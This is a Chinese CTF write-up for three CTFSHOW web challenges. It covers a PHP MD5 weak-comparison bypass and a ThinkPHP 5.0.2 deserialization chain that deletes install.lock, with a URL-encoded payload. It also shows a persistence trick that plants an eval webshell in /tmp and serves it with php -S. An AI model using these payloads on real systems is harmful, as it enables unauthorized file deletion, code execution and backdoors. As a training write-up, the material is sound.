news 2026/4/19 14:18:47

CTFSHOW月饼杯II

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTFSHOW月饼杯II

web签到

<?php //Author:H3h3QAQ include "flag.php"; highlight_file(__FILE__); error_reporting(0); if (isset($_GET["YBB"])) { if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) { 判断 YBB 的 MD5 值是否等于 YBB 本身 echo "小伙子不错嘛!!flag给你了:" . $flag; } else { echo "偶吼,带黑阔被窝抓到了!!!!"; } }

MD5绕过以为一个数组绕过可以直接秒掉

这里是弱比较那我们就用科学计数法来绕过

通常我们使用数组绕过,是因为像 MD5这种老函数在处理数组时会返回 NULL。如果两边都是 NULL,则 NULL==NULL成立

hash()函数的特性:与md5()函数不同,hash()函数不支持数组输入。如果你给hash()传入一个数组,它会直接报错或返回false(取决于 PHP 版本),而不会像 MD5()那样产生可利用的 NULL

比较逻辑断裂:即便 hash()返回了 false(),你传入的$_GET["YBB"]却是一个真实的数组 [1]。在 PHP 弱类型比较中,false==array是不成立的

MD5弱比较

eztp

<?php namespace app\index\controller; class Index { public function index($run=[]) { highlight_file(__FILE__); echo '<h1>Welcome to CTFSHOW</h1></br>'; echo 'Powered by PHPthink5.0.2</br>'; echo dirname(__FILE__); 输出当前文件所在目录 if (!empty($run[2])){ 当传了 ?run[2]=xxx 并且不为空时触发 echo 'ZmxhZyBpcyBub3QgaGVyZSBidXQgaXQgaXMgaW4gZmxhZy50eHQ='; } if (!empty($run[1])){ 直接对可控参数进行反序列化 $run[1] 是完全可控的典型的反序列化漏洞入口 unserialize($run[1]); } } // hint:/index/index/backdoor public function backdoor(){ if (!file_exists(dirname(__FILE__).'/../../'."install.lock")){ echo "Try to post CMD arguments".'<br/>'; $data = input('post.'); if (!preg_match('/flag/i',$data['cmd'])){ $cmd = escapeshellarg($data['cmd']); $cmd='cat '.$cmd; echo $cmd; system($cmd); }else{ echo "No No No"; } }else{ echo dirname(__FILE__).'/../../'."install.lock has not been deleted"; } } }

首先解码加密内容

提示 flag 在 flag,txt

通过backdoor得到flag,但需要先删除"install.lock"

根据报错信息,Thinkphp版本为5.0.2

可以利用Thinkphp5.1任意文件删除漏洞

https://blog.csdn.net/weixin_74427106/article/details/134626206

<?php namespace think\process\pipes; 反序列化必须保证类名和命名空间与目标环境完全一致,否则 PHP 找不到这个类 use think\Process; class Pipes{} class Windows extends Pipes{ private $files = []; function __construct(){ $this->files = ["/var/www/html/application/index/controller/../../install.lock"]; 设置要删除的目标路径。你根据之前 dirname(__FILE__) 的提示,精准定位到了 install.lock } } echo urlencode(serialize(New Windows()))."\n"; serialize(New Windows()) 将构造好的对象转换为字符串 ?>
/index.php/index/index/?run[1]=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A61%3A%22%2Fvar%2Fwww%2Fhtml%2Fapplication%2Findex%2Fcontroller%2F..%2F..%2Finstall.lock%22%3B%7D%7D

成功删除后访问

cmd=/fl%99ag

%99(一个不可见的非 ASCII 字符)

ThinkPHP 5.0.x 反序列化漏洞 + 任意文件删除 + RCE

不要离开我

<?php // 题目说明: // 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在 error_reporting(0); highlight_file(__FILE__); $a=$_GET['action']; switch($a){ case 'cmd': eval($_POST['cmd']); break; case 'check': file_get_contents("http://checker/api/check"); 如果 action=check,服务器会向内部的 checker 发起请求 break; default: die('params not validate'); 如果不传 action 或者传的值不是cmd和check,程序直接终止并报错 } params not validate

cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST['a']);?>"); 没有编码发现没有反应编码之后成功发送 这个\是为了避免shell被转义 cmd=%66%69%6c%65%5f%70%75%74%5f%63%6f%6e%74%65%6e%74%73%28%22%2f%74%6d%70%2f%69%6e%64%65%78%2e%70%68%70%22%2c%22%3c%3f%70%68%70%20%65%76%61%6c%28%5c%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e%22%29%3b 看看有没有设置成功

看看有没有设置成功

cmd=system("sleep 10 && php -S 0.0.0.0:80 -t /tmp/"); cmd=%73%79%73%74%65%6d%28%22%73%6c%65%65%70%20%31%30%20%26%26%20%70%68%70%20%2d%53%20%30%2e%30%2e%30%2e%30%3a%38%30%20%2d%74%20%2f%74%6d%70%2f%22%29%3b%0a 然后我们要在10秒之内把?action=check 执行了,check会关闭nginx和php-fpm,由于是www-data权限,⽆法启动nginx和php-fpm,直接启动php内置服务器即可。

check之后光速退出,就可以看到这个页面

权限维持

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/17 18:13:28

Axure RP界面本地化实用指南

Axure RP界面本地化实用指南 【免费下载链接】axure-cn Chinese language file for Axure RP. Axure RP 简体中文语言包&#xff0c;不定期更新。支持 Axure 9、Axure 10。 项目地址: https://gitcode.com/gh_mirrors/ax/axure-cn Axure RP界面本地化是提升设计效率的重…

作者头像 李华
网站建设 2026/4/18 15:45:34

InstructPix2Pix快速上手教程:GPU加速下的秒级图像编辑实操

InstructPix2Pix快速上手教程&#xff1a;GPU加速下的秒级图像编辑实操 1. 这不是滤镜&#xff0c;是会听指令的修图师 你有没有过这样的时刻&#xff1a;想把一张白天拍的照片改成黄昏氛围&#xff0c;或者给朋友照片里加一副墨镜&#xff0c;又或者让宠物狗穿上宇航服——但…

作者头像 李华
网站建设 2026/4/18 0:37:02

Yi-Coder-1.5B在C语言基础教学中的应用

Yi-Coder-1.5B在C语言基础教学中的应用 1. 当编程教学遇到AI助手&#xff1a;一个真实的需求场景 大学计算机系的张老师最近有点发愁。他带的《C语言程序设计》课程有120名大一新生&#xff0c;每周要批改近300份作业。最让他头疼的是那些基础语法错误——忘记分号、括号不匹…

作者头像 李华
网站建设 2026/4/17 23:13:27

Z-Image-Turbo性能优化:在Ubuntu系统下的极致调优

Z-Image-Turbo性能优化&#xff1a;在Ubuntu系统下的极致调优 1. 为什么需要在Ubuntu上深度调优Z-Image-Turbo Z-Image-Turbo作为阿里通义实验室推出的6B参数高效图像生成模型&#xff0c;其核心价值在于"轻量且高性能"的完美平衡。但很多用户在Ubuntu系统上初次部…

作者头像 李华
网站建设 2026/4/16 15:01:22

FLUX.小红书极致真实V2开源大模型部署:消费级GPU跑FLUX.1-dev新范式

FLUX.小红书极致真实V2开源大模型部署&#xff1a;消费级GPU跑FLUX.1-dev新范式 想用你的4090显卡&#xff0c;跑出小红书爆款风格的高清人像图吗&#xff1f;今天要聊的这个工具&#xff0c;让这件事变得简单直接。它基于最新的FLUX.1-dev模型&#xff0c;专门针对我们手里的…

作者头像 李华
网站建设 2026/4/17 21:20:50

Atelier of Light and Shadow在人工智能教育中的应用:个性化学习系统

Atelier of Light and Shadow在人工智能教育中的应用&#xff1a;个性化学习系统 想象一下&#xff0c;一个能读懂你心思的学习伙伴。它知道你哪里卡壳了&#xff0c;知道你擅长什么&#xff0c;甚至能预测你下一步该学什么&#xff0c;然后为你量身定制一套学习计划。这听起来…

作者头像 李华